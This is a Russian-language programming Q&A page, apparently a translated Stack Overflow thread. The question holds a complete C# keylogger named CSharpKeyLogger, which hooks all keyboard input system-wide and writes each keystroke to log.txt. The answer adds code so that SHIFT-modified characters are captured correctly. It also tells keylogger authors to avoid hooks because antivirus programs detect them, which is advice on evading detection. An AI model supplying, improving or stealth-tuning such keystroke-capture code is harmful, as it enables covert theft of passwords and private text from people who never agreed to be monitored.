Как правильно фиксировать нажатия клавиш пользователя в C #, т. Е. С учетом клавиши SHIFT и т. Д. - PullRequest
0 голосов
/ 29 июня 2018

Я написал следующую программу на C # для захвата нажатий клавиш пользователем.

Он работает отлично, за исключением того, что все ключи записываются в нижнем регистре без учета клавиши SHIFT (см. Ниже).

Я прочитал всю документацию по Win32 API. Я все еще что-то упускаю.

Как я могу исправить эту программу, чтобы правильно регистрировать нажатия клавиш?

Если я введу HelloWorld!!!, в log.txt будут выведены следующие ключи:

h
e
l
l
o
w
o
r
l
d
1
1
1

Т.е., он не учитывает SHIFT, что является целью GetKeyboardState()?

Программа:

using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Text;

namespace CSharpKeyLogger
{
    public static class Program
    {
        [DllImport("user32.dll")]
        private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll")]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll")]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll")]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern int GetKeyboardState(byte[] keystate);

        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern int MapVirtualKey(uint uCode, int uMapType);

        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);

        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;

        private const int MAPVK_VK_TO_VSC = 0;

        private const int BUFF_SZ = 4;

        private const string logFileName = "log.txt";
        private static StreamWriter logFile;

        private static HookProc hookProc = HookCallback;
        private static IntPtr hookId = IntPtr.Zero;

        public static void Main()
        {
            logFile = File.AppendText(logFileName);
            logFile.AutoFlush = true;

            hookId = SetHook(hookProc);
            Application.Run();
            UnhookWindowsHookEx(hookId);
        }

        private static IntPtr SetHook(HookProc hookProc)
        {
            IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
            return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
        }

        private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);

        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {
                uint vkCode = (uint)Marshal.ReadInt32(lParam);

                byte[] kb = new byte[256];
                GetKeyboardState(kb);

                StringBuilder buf = new StringBuilder(BUFF_SZ + 1);

                switch(ToUnicode(vkCode, (uint)MapVirtualKey(vkCode, MAPVK_VK_TO_VSC), kb, buf, BUFF_SZ, 0))
                {
                    case -1:
                        break;
                    case 0:
                        break;
                    case 1:
                    case 2:
                    case 3:
                    case 4:
                        logFile.WriteLine(buf.ToString());
                        break;
                }
            }

            return CallNextHookEx(hookId, nCode, wParam, lParam);
        }
    }
}

1 Ответ

0 голосов
/ 29 июня 2018

Вам необходимо самостоятельно проверить клавиши-модификаторы:

Использовать GetAsyncKeyState

    [DllImport("user32.dll")]
    static extern long GetAsyncKeyState(uint nVirtKey);

Затем вам нужно будет выяснить, какая клавиша-модификатор нажата, пока вы получаете другие клавиши. В вашем коде вы можете сделать это так:

 var t = buf.ToString();
 //  > 1 for the condition is working there are certain values for keydown/keypressed etc. just example!
 var shifted = GetAsyncKeyState((uint)Keys.LShiftKey) > 1
               || GetAsyncKeyState((uint)Keys.RShiftKey) > 1;
 if (shifted)
      t = t.ToUpper();
 Console.Write(t);

Если вы пытаетесь создать кейлоггер (при условии хорошего), не используйте хуки, так как они могут быть легко обнаружены другими программами, т.е. антивирусное программное обеспечение - производит плохое впечатление о вашей программе.

...